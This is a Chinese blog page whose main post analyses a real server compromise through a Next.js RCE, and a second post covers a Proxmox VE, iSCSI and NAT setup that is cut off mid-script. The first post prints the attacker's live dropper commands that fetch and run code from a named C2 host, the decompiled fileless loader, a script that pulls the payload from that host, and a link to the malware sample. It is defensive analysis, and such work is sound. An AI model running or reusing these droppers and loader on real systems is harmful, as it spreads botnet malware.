首页
iYoRoy DN42 Network
关于
友情链接
Language
简体中文
English
Search
1
Docker下中心化部署EasyTier
2,487 阅读
2
给Android 4.9内核添加KernelSU支持
1,537 阅读
3
为博客启用Cloudflare SaaS接入实现国际分流
437 阅读
4
在TrueNAS上使用Docker安装1Panel
437 阅读
5
记一次为Android 4.9内核的ROM启用erofs支持
431 阅读
Android
运维
NAS
开发
网络技术
专题向研究
DN42
个人ISP
CTF
网络安全
登录
Search
标签搜索
网络技术
BGP
Linux
BIRD
DN42
C&C++
Android
Windows
OSPF
Docker
AOSP
MSVC
服务
DNS
STL
内部路由协议
Kernel
caf/clo
Web
TrueNAS
神楽悠笙
累计撰写
28
篇文章
累计收到
14
条评论
首页
栏目
Android
运维
NAS
开发
网络技术
专题向研究
DN42
个人ISP
CTF
网络安全
页面
iYoRoy DN42 Network
关于
友情链接
Language
简体中文
English
搜索到
6
篇与
的结果
记服务器因CVE-2025-66478,CVE-2025-55182被挂RCE的逆向分析经历
背景 周六傍晚休息的时候阿里云突然给打电话,说服务器可能受到黑客入侵。上阿里云控制台看了一眼: 担心的事情还是发生了,近期披露的CVE-2025-55182漏洞可以被RCE,服务器上运行的Umami统计工具使用了包含漏洞的Next.JS版本。早上的时候我手动更新了一下我的Umami,但是看起来官方还并未发布相关更新。服务器告警来源就是umami镜像,执行了一个远程的Shell脚本。 作为一个CTFer,这送上门的样本不研究一下说不过去吧( 分析 脚本 阿里云给出的警告可以看到执行shell脚本: /bin/sh -c wget https://sup001.oss-cn-hongkong.aliyuncs.com/123/python1.sh && chmod 777 python1.sh && ./python1.sh 尝试手动下载下来那个python1.sh: export PATH=$PATH:/bin:/usr/bin:/sbin:/usr/local/bin:/usr/sbin mkdir -p /tmp cd /tmp touch /usr/local/bin/writeablex >/dev/null 2>&1 && cd /usr/local/bin/ touch /usr/libexec/writeablex >/dev/null 2>&1 && cd /usr/libexec/ touch /usr/bin/writeablex >/dev/null 2>&1 && cd /usr/bin/ rm -rf /usr/local/bin/writeablex /usr/libexec/writeablex /usr/bin/writeablex export PATH=$PATH:$(pwd) l64="119.45.243.154:8443/?h=119.45.243.154&p=8443&t=tcp&a=l64&stage=true" l32="119.45.243.154:8443/?h=119.45.243.154&p=8443&t=tcp&a=l32&stage=true" a64="119.45.243.154:8443/?h=119.45.243.154&p=8443&t=tcp&a=a64&stage=true" a32="119.45.243.154:8443/?h=119.45.243.154&p=8443&t=tcp&a=a32&stage=true" v="042d0094tcp" rm -rf $v ARCH=$(uname -m) if [ ${ARCH}x = "x86_64x" ]; then (curl -fsSL -m180 $l64 -o $v||wget -T180 -q $l64 -O $v||python -c 'import urllib;urllib.urlretrieve("http://'$l64'", "'$v'")') elif [ ${ARCH}x = "i386x" ]; then (curl -fsSL -m180 $l32 -o $v||wget -T180 -q $l32 -O $v||python -c 'import urllib;urllib.urlretrieve("http://'$l32'", "'$v'")') elif [ ${ARCH}x = "i686x" ]; then (curl -fsSL -m180 $l32 -o $v||wget -T180 -q $l32 -O $v||python -c 'import urllib;urllib.urlretrieve("http://'$l32'", "'$v'")') elif [ ${ARCH}x = "aarch64x" ]; then (curl -fsSL -m180 $a64 -o $v||wget -T180 -q $a64 -O $v||python -c 'import urllib;urllib.urlretrieve("http://'$a64'", "'$v'")') elif [ ${ARCH}x = "armv7lx" ]; then (curl -fsSL -m180 $a32 -o $v||wget -T180 -q $a32 -O $v||python -c 'import urllib;urllib.urlretrieve("http://'$a32'", "'$v'")') fi chmod +x $v (nohup $(pwd)/$v > /dev/null 2>&1 &) || (nohup ./$v > /dev/null 2>&1 &) || (nohup /usr/bin/$v > /dev/null 2>&1 &) || (nohup /usr/libexec/$v > /dev/null 2>&1 &) || (nohup /usr/local/bin/$v > /dev/null 2>&1 &) || (nohup /tmp/$v > /dev/null 2>&1 &) # 发现是根据CPU架构下载对应版本的ELF文件。 加载器 尝试手动下载上面脚本中的amd64架构的二进制,并通过IDA Pro打开: int __fastcall main(int argc, const char **argv, const char **envp) { struct hostent *v3; // rax in_addr_t v4; // eax int v5; // eax int v6; // ebx int v7; // r12d int v8; // edx _BYTE *v9; // rax __int64 v10; // rcx _DWORD *v11; // rdi _BYTE buf[2]; // [rsp+2h] [rbp-1476h] BYREF int optval; // [rsp+4h] [rbp-1474h] BYREF char *argva[2]; // [rsp+8h] [rbp-1470h] BYREF sockaddr addr; // [rsp+1Ch] [rbp-145Ch] BYREF char name[33]; // [rsp+2Fh] [rbp-1449h] BYREF char resolved[1024]; // [rsp+50h] [rbp-1428h] BYREF _BYTE v19[4136]; // [rsp+450h] [rbp-1028h] BYREF if ( !access("/tmp/log_de.log", 0) ) exit(0); qmemcpy(name, "119.45.243.154", sizeof(name)); *(_QWORD *)&addr.sa_family = 4213178370LL; *(_QWORD *)&addr.sa_data[6] = 0LL; v3 = gethostbyname(name); if ( v3 ) v4 = **(_DWORD **)v3->h_addr_list; else v4 = inet_addr(name); *(_DWORD *)&addr.sa_data[2] = v4; v5 = socket(2, 1, 0); v6 = v5; if ( v5 >= 0 ) { optval = 10; setsockopt(v5, 6, 7, &optval, 4u); while ( connect(v6, &addr, 0x10u) == -1 ) sleep(0xAu); send(v6, "l64 ", 6uLL, 0); buf[0] = addr.sa_data[0]; buf[1] = addr.sa_data[1]; send(v6, buf, 2uLL, 0); send(v6, name, 0x20uLL, 0); v7 = syscall(319LL, "a", 0LL); if ( v7 >= 0 ) { while ( 1 ) { v8 = recv(v6, v19, 0x1000uLL, 0); if ( v8 <= 0 ) break; v9 = v19; do *v9++ ^= 0x99u; while ( (int)((_DWORD)v9 - (unsigned int)v19) < v8 ); write(v7, v19, v8); } v10 = 1024LL; v11 = v19; while ( v10 ) { *v11++ = 0; --v10; } close(v6); realpath(*argv, resolved); setenv("CWD", resolved, 1); argva[0] = "[kworker/0:2]"; argva[1] = 0LL; fexecve(v7, argva, _bss_start); } } return 0; } 分析发现主要的几个危险操作: v7 = syscall(319LL, "a", 0LL);,319是Linux x64架构下的memfd_create系统调用,用于在内存中创建匿名文件。随后,从目标服务器下载Payload,加载到这段内存中并执行。这是一个Fileless Malware,他不会将payload存储在磁盘中,而是直接加载进内存。 *v9++ ^= 0x99u;,将从服务器下载到的Payload按字节异或0x99,进行解密,可能是用于绕过防火墙 argva[0] = "[kworker/0:2]";,将本进程伪装成内核的kworker进程 其他操作: 通过检测是否存在日志文件/tmp/log_de.log,判断服务器是否已经被入侵,若已经被入侵则直接退出 连接C2服务器完成或失败后会间隔10秒再次尝试连接并加载Payload 从上述逆向代码可很明显的看出发马的服务器IP为119.45.243.154,但是端口没找到。分析一下设置端口部分的代码: *(_QWORD *)&addr.sa_family = 4213178370LL; 其中,4213178370LL(DEC)=0xFB200002(HEX),因为是QWORD,即64位值,所以实际值为0x00000000FB200002。同时因为是小端序,所以实际存储在内存的offset中的格式是02 00 20 FB 00 00 00 00。 sockaddr在内存中的offset一般是: offset 0–1:sa_family(2 字节) offset 2–15:sa_data(14 字节) 也就是说,上述赋值语句实现了: offset 0: sa_family的低字节=0x02 offset 1: sa_family的高字节=0x00 offset 2: sa_data[0]=0x20 offset 3: sa_data[1]=0xFB offset 4..7: sa_data[2..5]=0x00 0x00 0x00 0x00 其中,sa_data[0..1]代表了端口,sa_data[2..5]代表IP。因为网络字节序为大端序,因此实际端口就是0x20FB,即8443。后面也可找到赋值IP的部分: v3 = gethostbyname(name); if ( v3 ) v4 = **(_DWORD **)v3->h_addr_list; else v4 = inet_addr(name); *(_DWORD *)&addr.sa_data[2] = v4; 编写一个Python脚本,按照这个加载器中的逻辑连接服务器并尝试加载Payload到ELF文件: import socket import time import os C2_HOST = "119.45.243.154" C2_PORT = 8443 OUTPUT_FILE = "payload.elf" def xor_decode(data): return bytes([b ^ 0x99 for b in data]) def main(): # 删除旧的文件 if os.path.exists(OUTPUT_FILE): os.remove(OUTPUT_FILE) while True: try: print(f"[+] Connecting to C2 {C2_HOST}:{C2_PORT} ...") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((C2_HOST, C2_PORT)) print("[+] Connected.") # Handshake s.send(b"l64 ") s.send(b"\x20\xfb") # fake port s.send(b"119.45.243.154".ljust(32, b"\x00")) print("[+] Handshake sent.") print(f"[+] Writing decrypted ELF data to {OUTPUT_FILE}\n") with open(OUTPUT_FILE, "ab") as f: while True: data = s.recv(4096) if not data: print("[-] C2 closed connection.") break decrypted = xor_decode(data) f.write(decrypted) print(f"[+] Received {len(data)} bytes, written to file.") print("[*] Reconnecting in 10 seconds...\n") time.sleep(10) except Exception as e: print(f"[-] Error: {e}") print("[*] Reconnecting in 10 seconds...\n") time.sleep(10) if __name__ == "__main__": main() 运行可得到一个ELF文件payload.elf。 Payload.elf 先丢到微步云沙箱里检测一下,发现确实是个木马: 但是沙箱并未检测出一些高危行为。问了一下Reverse方向的学长,把样本发给对方研究了一下发现是Golang编写的。使用GoReSym导出符号表,并加载进IDA Pro: \GoReSym.exe payload.elf > symbols.json 让AI编写一个IDA Pro的脚本导入符号表: import json import idc import idaapi import idautils # ⚠️ 修改这里:指向你刚才生成的 symbols.json 文件路径 json_path = r"D:\\Desktop\\symbols.json" def restore_symbols(): print("[-] Loading symbols from JSON...") try: with open(json_path, 'r', encoding='utf-8') as f: data = json.load(f) except Exception as e: print(f"[!] Error opening file: {e}") return # 1. 恢复用户函数 (UserFunctions) count = 0 for func in data.get('UserFunctions', []): start_addr = func['Start'] # 你的 JSON 里全是混淆名字,比如 shK3zqV.O86rtPRpp # 我们主要关心完整的 FullName full_name = func['FullName'] # 清理名称中 IDA 不喜欢的字符 safe_name = full_name.replace("(", "_").replace(")", "_").replace("*", "ptr_").replace("/", "_") # 尝试重命名 if idc.set_name(start_addr, safe_name, idc.SN_NOWARN | idc.SN_NOCHECK) == 1: # 可选:如果重命名成功,尝试让 IDA 重新分析该处为代码 idc.create_insn(start_addr) idc.add_func(start_addr) count += 1 print(f"[+] Successfully renamed {count} functions.") if __name__ == "__main__": restore_symbols() 在IDA中通过File-Script file选择上述脚本即可导入符号表。同时,将符号表发给AI分析,发现存在一些对OSS存储桶的一些操作函数: (*Config).GetAccessKeyID / GetAccessKeySecret / GetSecurityToken -> 窃取或使用云凭证。 Bucket.PutObjectFromFile -> 上传文件(极可能是在窃取你服务器上的数据并上传到攻击者的 OSS Bucket)。 Bucket.DoPutObject -> 执行上传操作。 (*Config).LimitUploadSpeed / LimitDownloadSpeed -> 限制带宽占用,防止被你发现网络异常。 混淆后的包名 真实包/功能推测 证据 (Artifacts) 行为描述 ojQuzc_T Aliyun OSS SDK PutObjectFromFile, GetAccessKeySecret 连接阿里云 OSS,上传/下载文件,窃取凭证。 l2FdnE6 os/exec (命令执行) (*Ps1Jpr8w8).Start, StdinPipe, Output 执行系统命令。它在调用 Linux shell 命令。 qzjJr5PCHfoj os / 文件系统操作 Readdir, Chown, Truncate, SyscallConn 遍历目录、修改文件权限、读写文件。 PqV1YDIP godbus/dbus (D-Bus) (*Conn).BusObject, (*Conn).Eavesdrop 连接 Linux D-Bus。可能用于权限提升、监控系统事件或与 systemd 交互。 c376cVel0vv math/rand NormFloat64, Shuffle, Int63 生成随机数。常用于生成通信密钥或挖矿算法的随机性。 r_zJbsaQ net (网络底层) DialContext, Listen, Accept, SetKeepAlive 建立 TCP/UDP 连接,可能是 C2 通信或作为后门监听端口。 J9ItGl7U net/http2 http2ErrCode, WriteHeaders, WriteData 使用 HTTP/2 协议进行通信(可能用于隐藏 C2 流量)。 Otkxde ECC 密码学库 ScalarMult, Double, SetGenerator 椭圆曲线加密。可能是为了加密 C2 通信,或者是勒索软件的加密模块。 可推测一些可能的程序逻辑: 持久化与控制 (D-Bus & Net): 它尝试通过 PqV1YDIP 包连接 D-Bus,这在服务器恶意软件中较少见,可能试图劫持系统服务或监控管理员行为。 它通过 r_zJbsaQ 监听端口或反弹连接。 数据窃取 (Aliyun OSS): 它并没有将数据传回普通的 C2 服务器 IP,而是利用阿里云 OSS 作为“中转站”。这是一种非常聪明的做法,因为指向阿里云的流量通常会被防火墙视为白名单流量,很难被发现。 命令执行 (os/exec): 它包含完整的 Shell 执行能力 (l2FdnE6),可以执行任意命令、下载脚本、修改文件权限。 可能的勒索或挖矿特征: 大量的数学运算库(Otkxde, HfBi9x4DOLl 等包包含大量的 Mul, Add, Square, Invert)暗示了它是 计算密集型 的。 如果是勒索软件:这些数学库用于生成密钥加密文件。 如果是挖矿木马:这些库用于计算哈希。结合它使用了 math/rand 的 Shuffle 和 NormFloat64,这符合某些挖矿算法(如 RandomX)的特征。 进一步分析,最终找到了这样一个函数UXTgUQ_stlzy_RraJUM: 丢给AI分析,结论是: 这是一个非常典型的 Golang 编写的 C2 (Command & Control) 指令分发函数。 结合你之前提供的“Linux 加载器”上下文,这个函数属于被那个加载器下载并执行的核心木马程序(Bot)。 1. 代码总览与定位 功能: 指令分发器 (Command Dispatcher)。这是木马的主循环逻辑之一,负责接收 C2 服务器发送的指令字符串,解析并执行对应的恶意功能。 安全机制: 函数开头有一个鉴权检查 if ( v18 == a2 && (unsigned __int8)sub_4035C0() )。如果校验失败,直接返回 "401 Not Auth",说明该木马具有一定的反扫描或会话认证机制。 2. 指令集详细逆向 代码通过 switch ( a4 ) 判断指令字符串的长度,然后检查具体的内容。这里有大量的硬编码字符串和 Hex 值: Case 1 (单字符指令 - 基础控制) 这通常是早期版本残留或为了减少流量设计的简写指令: I: 调用 os_rename。功能:重命名文件。 E: 调用 os_removeAll。功能:删除文件/清理痕迹。 J: 返回 "0" 或未知。可能用于心跳检测或状态查询。 Z: 返回 "mysql_close\t1"。功能:数据库相关,推测该木马包含 MySQL 爆破或连接模块,此指令用于关闭连接。 H: 可能是获取主机信息 (Host Info)。 其他单字母 (A-Y): 分别调用了不同的子函数(如 sub_7CAF40 等),通常对应:开启代理、执行 Shell 命令、获取系统负载等。 Case 4 (四字符指令) Hex: 1414092869 -> Little Endian: 0x54495845 -> "EXIT" 功能: 终止木马进程。 Case 8 (八字符指令 - 核心功能) 这是最关键的部分,暴露了木马的核心能力: Download Hex: 0x64616F6C6E776F44LL -> "Download" 功能: 下载器功能。从指定 URL 下载文件。 代码逻辑: 如果 a11 (回调函数或接口) 存在,它会调用并处理下载结果。 LocalRun Hex: 0x6E75526C61636F4CLL -> "LocalRun" 功能: 本地执行。可能是执行本地的一个 Shell 脚本或二进制文件。 Case 9 (九字符指令 - 高级攻击) InjectRun Hex: 0x75527463656A6E49LL + 'n' -> "InjectRun" 功能: 内存注入执行。这是一个高级功能,配合你之前看到的 memfd_create,这通常指将 Payload 注入到其他进程或在内存中直接运行,不落地。 PluginRun Hex: 0x75526E6967756C50LL + 'n' -> "PluginRun" 功能: 插件执行。说明该木马是模块化的,可以动态加载 .so 或 Go 的 plugin 模块来扩展功能(如加密货币挖矿、DDoS 攻击、端口扫描等)。 3. 响应构造逻辑 在 switch 结束后,代码有一段复杂的字符串拼接逻辑: *(_WORD *)v71 = 15917 -> ASCII | 和 } ? 或者特定的分隔符。 *(_BYTE *)(v80 + v79 + 2) = 45 -> ASCII -。 结论: 木马会将命令执行的结果(如“OK”、“Error”或具体数据)用特定的分隔符(如 |<result>-)包裹后回传给 C2。 4. 总结与画像 结合上一段代码(Loader),我们可以对这个木马做一个完整的画像: 家族推测: 这种 InjectRun / PluginRun / LocalRun 的命名风格,以及 Golang 编写、支持模块化插件的特征,极有可能是 Spark 僵尸网络或者其变种(如 Sliver C2 修改版,但更像黑产自研的 Bot)。也有可能是 Sysrv-hello 挖矿蠕虫的变种(它们常混合使用 Go 和 Exploit)。 攻击链条: Loader: 也就是之前的那个 C 代码,负责环境判断、持久化、内存中下载 Bot。 Bot (本代码): 也就是这个 Go 程序,常驻内存。 Modules: 通过 PluginRun 动态下发挖矿模块 (XMRig) 或 DDoS 攻击模块。 Lateral Movement (横向移动): mysql_close 暗示它有扫描弱口令的能力,通过 InjectRun 感染内网其他机器。 总结 主要是感觉没什么继续分析的意义了,这个逻辑基本上可以判定是典型的Botnet,找到的IP有99%的概率都是被操控的僵尸机,去调查也没有意义。 主要还是总结一下教训,如何防止这类事情发生,对于我这种小规模的个人网站,爆出CVE最好立刻先停用有关一切服务,等确定修复的版本放出后再更新并重新启用 样本下载: Payload.zip 注:此样本未经任何处理,请勿在不加安全措施的情况下直接运行! 密码20251206
2025年12月06日
191 阅读
2 评论
4 点赞
记一次手动安装Proxmox VE, 配置多路iSCSI与NAT转发的经历
起因是租了一台物理机, 然后IDC那边没有提供PVE和Debian系统镜像, 只有Ubuntu、CentOS、Windows系列. 同时数据盘是通过多路iSCSI提供的. 我希望使用PVE来对不同使用场景进行隔离, 因此尝试重装并迁移上述配置. 备份配置 首先对系统做个大致的检查, 可发现: 系统存在两张网卡, 一张enp24s0f0接入了公网地址, 用于外部访问; 一张enp24s0f1接入了192.168.128.153的私网地址 数据盘被映射为了/dev/mapper/mpatha /etc/iscsi下存在两个iSCSI Node的配置, 分别为192.168.128.250:3260、192.168.128.252:3260, 但是二者都对应iqn.2024-12.com.ceph:iscsi. 不难推断出, 数据盘挂载是通过同时配置两个iSCSI Node, 再使用多路的方式合并成一个设备. 查看一下系统的网络配置: network: version: 2 renderer: networkd ethernets: enp24s0f0: addresses: [211.154.[数据删除]/24] routes: - to: default via: [数据删除] match: macaddress: ac:1f:6b:0b:e2:d4 set-name: enp24s0f0 nameservers: addresses: - 114.114.114.114 - 8.8.8.8 enp24s0f1: addresses: - 192.168.128.153/17 match: macaddress: ac:1f:6b:0b:e2:d5 set-name: enp24s0f1 发现就是非常简单的静态路由, 内网网卡甚至没有默认路由, 直接绑定IP即可. 然后将/etc/iscsi下iSCSI的配置文件保存一下, 其中包含了账户密码等信息 重装Debian 此次使用的是bin456789/reinstall重装脚本. 下载脚本: curl -O https://cnb.cool/bin456789/reinstall/-/git/raw/main/reinstall.sh || wget -O ${_##*/} $_ 重装成Debian 13: bash reinstall.sh debian 13 然后根据提示输入你想要设置的密码即可 如果不出意外的话, 等待10分钟左右, 会自动完成并重装成一个纯净的Debian 13. 中途可以通过ssh配合设置的密码连接, 查看安装进度. 重装完成后按照惯例进行一个换源和apt upgrade, 即可得到一个纯净的Debian 13啦 换源直接参考USTC镜像站的教程即可 安装Proxmox VE 这一步主要参考Proxmox官方的教程即可 需要注意,上述脚本安装的Debian会将主机名设置为localhost,你如果想要修改的话请在配置Hostname前修改并将hosts中的主机名改成你修改的主机名而非localhost 配置Hostname Proxmox VE要求为当前的主机名配置一个指向非回环地址的Hosts: The hostname of your machine must be resolvable to an IP address. This IP address must not be a loopback one like 127.0.0.1 but one that you and other hosts can connect to. 比如此处我的服务器IP为211.154.[数据删除], 我需要在/etc/hosts中添加如下的一条记录: 127.0.0.1 localhost +211.154.[数据删除] localhost ::1 localhost ip6-localhost ip6-loopback ff02::1 ip6-allnodes ff02::2 ip6-allrouters 保存后, 使用hostname --ip-address检查是否会输出设置的非回环地址: ::1 127.0.0.1 211.154.[数据删除] 添加Proxmox VE软件源 Debian 13使用了Deb822格式当然你想用sources.list也可以, 因此直接参考USTC的Proxmox镜像站即可: cat > /etc/apt/sources.list.d/pve-no-subscription.sources <<EOF Types: deb URIs: https://mirrors.ustc.edu.cn/proxmox/debian/pve Suites: trixie Components: pve-no-subscription Signed-By: /usr/share/keyrings/proxmox-archive-keyring.gpg EOF 此处需要同步迁移一个keyring过来但是我上网找了一圈没找到, 因此我选择从我现有的一个Proxmox VE服务器上拉过来一份. 放在这里了: proxmox-keyrings.zip 将公钥文件解压放在/usr/share/keyrings/中, 然后运行 apt update apt upgrade -y 即可同步Proxmox VE软件源 安装Proxmox VE内核 使用如下命令安装PVE内核并重启以应用新内核: apt install proxmox-default-kernel reboot 之后通过uname -r应该能看到当前使用的是类似于6.17.2-2-pve这样以pve结尾的内核版本, 代表新内核应用成功. 安装Proxmox VE相关软件包 使用apt安装对应软件包: apt install proxmox-ve postfix open-iscsi chrony 配置过程中会需要设置postfix邮件服务器, 官方解释: 如果您的网络中有邮件服务器, 则应将postfix配置为Satellite system. 然后, 您现有的邮件服务器将成为中继主机, 将Proxmox VE发送的电子邮件路由到其最终收件人. 如果您不知道在此处输入什么, 请仅选择Local only, 并保持系统hostname不变. 之后应该能访问https://<你的服务器地址>:8006来打开Web控制台了, 账户为root, 密码为你的root密码, 即重装Debian时配置的密码. 删除旧的Debian内核和os-prober 使用以下命令: apt remove linux-image-amd64 'linux-image-6.1*' update-grub apt remove os-prober 来移除旧的Debian内核, 更新grub并移除os-prober. 移除os-prober不是必须的, 但是官方建议这么做, 因为它可能会误将虚拟机的引导文件认成多系统的引导文件, 导致将不该加的一些东西加到引导列表中. 至此, Proxmox VE的安装就完成了, 已经可以正常使用啦! 配置内网网卡 因为IDC那边iSCSI网卡和公网走的不是同一张, 而重装的时候丢失了这部分的配置, 因此需要手动配置一下内网的网卡. 打开Proxmox VE的Web后台, 找到Datacenter-localhost(主机名)-Network, 编辑内网网卡, 如我这里的是ens6f1, 填入上面备份的IPv4的CIDR格式: 192.168.128.153/17并勾选Autostart, 接着保存即可. 接着使用命令来设置网卡状态为UP: ip link set ens6f1 up 现在能Ping通内网iSCSI服务器的IP了. 配置数据盘 iSCSI 在上一步中, 我们应该已经安装了iscsiadm所需的软件包open-iscsi, 我们只需要按照之前备份的配置重新设置node即可. 首先发现一下iSCSI存储: iscsiadm -m discovery -t st -p 192.168.128.250:3260 可以得到原先存在的两个LUN Target: 192.168.128.250:3260,1 iqn.2024-12.com.ceph:iscsi 192.168.128.252:3260,2 iqn.2024-12.com.ceph:iscsi 将备份的配置文件传到服务器上, 覆盖掉原先的/etc/iscsi中的配置, 同时, 在我备份的配置中可以找到验证方面的配置: # /etc/iscsi/nodes/iqn.2024-12.com.ceph:iscsi/192.168.128.250,3260,1/default # BEGIN RECORD 2.1.5 node.name = iqn.2024-12.com.ceph:iscsi ... # 略去一些不重要的配置 node.session.auth.authmethod = CHAP node.session.auth.username = [数据删除] node.session.auth.password = [数据删除] node.session.auth.chap_algs = MD5 ... # 略去一些不重要的配置 # /etc/iscsi/nodes/iqn.2024-12.com.ceph:iscsi/192.168.128.252,3260,2/default # BEGIN RECORD 2.1.5 node.name = iqn.2024-12.com.ceph:iscsi ... # 略去一些不重要的配置 node.session.auth.authmethod = CHAP node.session.auth.username = [数据删除] node.session.auth.password = [数据删除] node.session.auth.chap_algs = MD5 ... # 略去一些不重要的配置 按照这些配置文件写入新的系统: iscsiadm -m node -T iqn.2024-12.com.ceph:iscsi -p 192.168.128.250:3260 -o update -n node.session.auth.authmethod -v CHAP iscsiadm -m node -T iqn.2024-12.com.ceph:iscsi -p 192.168.128.250:3260 -o update -n node.session.auth.username -v [数据删除] iscsiadm -m node -T iqn.2024-12.com.ceph:iscsi -p 192.168.128.250:3260 -o update -n node.session.auth.password -v [数据删除] iscsiadm -m node -T iqn.2024-12.com.ceph:iscsi -p 192.168.128.250:3260 -o update -n node.session.auth.chap_algs -v MD5 iscsiadm -m node -T iqn.2024-12.com.ceph:iscsi -p 192.168.128.252:3260 -o update -n node.session.auth.authmethod -v CHAP iscsiadm -m node -T iqn.2024-12.com.ceph:iscsi -p 192.168.128.252:3260 -o update -n node.session.auth.username -v [数据删除] iscsiadm -m node -T iqn.2024-12.com.ceph:iscsi -p 192.168.128.252:3260 -o update -n node.session.auth.password -v [数据删除] iscsiadm -m node -T iqn.2024-12.com.ceph:iscsi -p 192.168.128.250:3260 -o update -n node.session.auth.chap_algs -v MD5 (我不知道为什么验证信息需要单独写入一次, 但是实测下来不重写它无法登录) 接着, 使用: iscsiadm -m node -T iqn.2024-12.com.ceph:iscsi -p 192.168.128.250:3260 --login iscsiadm -m node -T iqn.2024-12.com.ceph:iscsi -p 192.168.128.252:3260 --login 登录Target, 接着使用: iscsiadm -m node -T iqn.2024-12.com.ceph:iscsi -p 192.168.128.250:3260 -o update -n node.startup -v automatic iscsiadm -m node -T iqn.2024-12.com.ceph:iscsi -p 192.168.128.252:3260 -o update -n node.startup -v automatic 开启开机自动挂载. 这个时候通过lsblk之类的工具查看磁盘应该就能发现多了两块硬盘, 我这里多出来了sdb和sdc. 配置multipath多路径 关于如何识别出是多路径设备, 我尝试通过: /usr/lib/udev/scsi_id --whitelisted --device=/dev/sdb /usr/lib/udev/scsi_id --whitelisted --device=/dev/sdc 查看两个磁盘设备的scsi_id, 发现二者是相同的, 因此可推断二者是同一块盘, 使用了多路来实现类似负载均衡和故障转移的效果 使用apt安装multipath: apt install multipath-tools 接着, 创建/etc/multipath.conf并填入: defaults { user_friendly_names yes find_multipaths yes } 配置multipathd开机自启: systemctl start multipathd systemctl enable multipathd 接着, 使用如下指令扫描并自动配置多路设备: multipath -ll 会输出: mpatha(360014056229953ef442476e85501bfd7)dm-0LIO-ORG,TCMU device size=500G features='1 queue_if_no_path' hwhandler='1 alua'wp=rw |-+- policy='service-time 0' prio=50 status=active | `- 14:0:0:152 sdb 8:16 active ready running `-+- policy='service-time 0' prio=50 status=active `- 14:0:0:152 sdc 8:16 active ready running 可看到已经将两块盘识别成同一个多路设备了. 此时, 可以在/dev/mapper/下找到多路设备的磁盘: root@localhost:/dev/mapper# ls control mpatha mpatha即为多路聚合的磁盘. 如果没扫描到,可尝试使用: rescan-scsi-bus.sh 重新扫描SCSI总线后再次尝试,若提示找不到这个指令可以用apt install sg3-utils安装. 实在不行咱重启一下 配置Proxmox VE使用数据盘 因为我们使用了多路, 因此不能直接选择添加iSCSI类型的存储. 使用如下指令创建PV和VG: pvcreate /dev/mapper/mpatha vgcreate <vg名称> /dev/mapper/mpatha 此处我将整块盘都配置成了PV, 你也可以单独划分出来一个分区来做这件事 完成后, 打开Proxmox VE的后台管理, 找到Datacenter-Storage, 点击Add-LVM, Volume group选择刚刚创建的VG的名称, ID自己给他命个名, 然后点击Add即可. 自此, 所有原系统的配置应该已经都迁移过来了 配置NAT NAT地址转换 因为只买了一个IPv4地址, 所以需要配置一下NAT来让所有虚拟机都能正常上网. 打开/etc/network/interfaces, 添加如下内容: auto vmbr0 iface vmbr0 inet static address 192.168.100.1 netmask 255.255.255.0 bridge_ports none bridge_stp off bridge_fd 0 post-up echo 1 > /proc/sys/net/ipv4/ip_forward post-up iptables -t nat -A POSTROUTING -s 192.168.100.0/24 -o ens6f0 -j MASQUERADE post-up iptables -t raw -I PREROUTING -i fwbr+ -j CT --zone 1 post-up iptables -A FORWARD -i vmbr0 -j ACCEPT post-down iptables -t nat -D POSTROUTING -s 192.168.100.0/24 -o ens6f0 -j MASQUERADE post-down iptables -t raw -D PREROUTING -i fwbr+ -j CT --zone 1 post-down iptables -D FORWARD -i vmbr0 -j ACCEPT 其中, vmbr0为NAT网桥, 网桥IP段为192.168.100.0/24 , 该网段流量会被转换为ens6f0外网网卡的IP发出, 并在收到回复时转换为原始IP, 实现共享外部IP. 接着, 使用: ifreload -a 重载配置. 到此, 虚拟机就已经能实现上网了, 只需要安装的时候配置静态地址为192.168.100.0/24内的地址, 默认网关设置为192.168.100.1, 并配置DNS地址即可. 端口转发 懒了, 直接拷打AI 让AI写了个配置脚本/usr/local/bin/natmgr: #!/bin/bash # =================配置区域================= # 公网网卡名称 (请根据实际情况修改) PUB_IF="ens6f0" # ========================================= ACTION=$1 ARG1=$2 ARG2=$3 ARG3=$4 ARG4=$5 # 检查是否为 root 用户 if [ "$EUID" -ne 0 ]; then echo "请使用 root 权限运行此脚本" exit 1 fi # 生成随机 ID (6位字符) generate_id() { # 引入纳秒和随机盐以确保即使脚本执行速度很快,ID也不会重复 echo "$RANDOM $(date +%s%N)" | md5sum | head -c 6 } # 显示帮助信息 usage() { echo "用法: $0 {add|del|list|save} [参数]" echo "" echo "命令:" echo " add <公网端口> <内网IP> <内网端口> [协议] 添加转发规则" echo " [协议] 可选: tcp, udp, both (默认: both)" echo " del <ID> 通过 ID 删除转发规则" echo " list 查看当前所有转发规则" echo " save 保存当前规则,使其在重启后仍然存在 (必须运行!)" echo "" echo "示例:" echo " $0 add 8080 192.168.100.101 80 both" echo " $0 save" echo "" } # 内部函数:添加单条协议规则 _add_single_rule() { local PROTO=$1 local L_PORT=$2 local T_IP=$3 local T_PORT=$4 local RULE_ID=$(generate_id) local COMMENT="NAT_ID:${RULE_ID}" # 1. 添加 DNAT 规则 (PREROUTING 链) iptables -t nat -A PREROUTING -i $PUB_IF -p $PROTO --dport $L_PORT -j DNAT --to-destination $T_IP:$T_PORT -m comment --comment "$COMMENT" # 2. 添加 FORWARD 规则 (允许数据包通过) iptables -A FORWARD -p $PROTO -d $T_IP --dport $T_PORT -m comment --comment "$COMMENT" -j ACCEPT # 输出结果 printf "%-10s %-10s %-10s %-20s %-10s\n" "$RULE_ID" "$PROTO" "$L_PORT" "$T_IP:$T_PORT" "成功" # 提醒用户保存 echo "请运行 '$0 save' 命令以确保规则在重启后仍然存在。" } # 主添加函数 add_rule() { local L_PORT=$1 local T_IP=$2 local T_PORT=$3 local PROTO_REQ=${4:-both} # 默认为 both if [[ -z "$L_PORT" || -z "$T_IP" || -z "$T_PORT" ]]; then echo "错误: 参数缺失" usage exit 1 fi # 转换为小写 PROTO_REQ=$(echo "$PROTO_REQ" | tr '[:upper:]' '[:lower:]') echo "正在添加规则..." printf "%-10s %-10s %-10s %-20s %-10s\n" "ID" "协议" "公网端口" "目标地址" "状态" echo "------------------------------------------------------------------" if [[ "$PROTO_REQ" == "tcp" ]]; then _add_single_rule "tcp" "$L_PORT" "$T_IP" "$T_PORT" elif [[ "$PROTO_REQ" == "udp" ]]; then _add_single_rule "udp" "$L_PORT" "$T_IP" "$T_PORT" elif [[ "$PROTO_REQ" == "both" ]]; then _add_single_rule "tcp" "$L_PORT" "$T_IP" "$T_PORT" _add_single_rule "udp" 